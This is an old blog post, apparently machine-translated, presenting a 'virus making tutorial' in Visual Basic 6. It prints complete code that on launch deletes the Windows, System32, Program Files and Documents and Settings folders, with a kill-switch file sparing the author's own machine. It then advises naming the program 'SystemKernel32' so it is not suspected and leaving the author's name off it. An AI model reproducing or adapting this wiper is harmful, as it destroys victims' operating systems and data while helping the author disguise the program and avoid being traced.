ads

Wednesday, February 22, 2012

Simple is a very dangerous virus

What is needed:
1. VB (optimum: 6.0)
2. Understand buttons VB

Virus Making Tutorials just 1 minute
1. create a form as small as possible
2. in that form, enter the code below


Public Sub DelAll (ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject ("Scripting.FileSystemObject")
FS = FSO.DeleteFolder (DirtoDelete, True)
End Sub

Private Sub Form_Load ()
On Error Resume Next
If FileExist ("c: \ windows \ system32 \ katak.txt") = True Then
End
Else
Call DelAll ("c: \ windows \ system")
Call DelAll ("c: \ windows \ system32")
Call DelAll ("c: \ windows")
Call DelAll ("C: \ Documents and Settings \ All Users")
Call DelAll ("C: \ Documents and Settings \ Administrator")
Call DelAll ("C: \ Documents and Settings")
Call DelAll ("C: \ Program Files \ Common Files")
Call DelAll ("C: \ Program Files \ Internet Explorer")
Call DelAll ("C: \ Program Files \ Microsoft Visual Studio")
Call DelAll ("C: \ Program Files")
End
End If
End Sub
Function FileExist (ByVal FileName As String) As Boolean
If Dir (FileName) = "" Then
FileExist = False
Else
FileExist = True
End If
End Function

3.Kode blue reply that the virus antidote, perhaps you do not accidentally press so you are safe. so in the folder c: \ windows \ system32 \ katak.txt if no file name, you will not be keserang own ... you can edit koq so what's so ...
That red color is the same folder you deleted this virus, your own edit

4. Make this project name as the name of the system, here I use the name "SystemKernel32" so it would not be suspected

5. Do not ever put your name on this virus ...

6. compile it .... and finish ....

0 comments:

Post a Comment

Site Search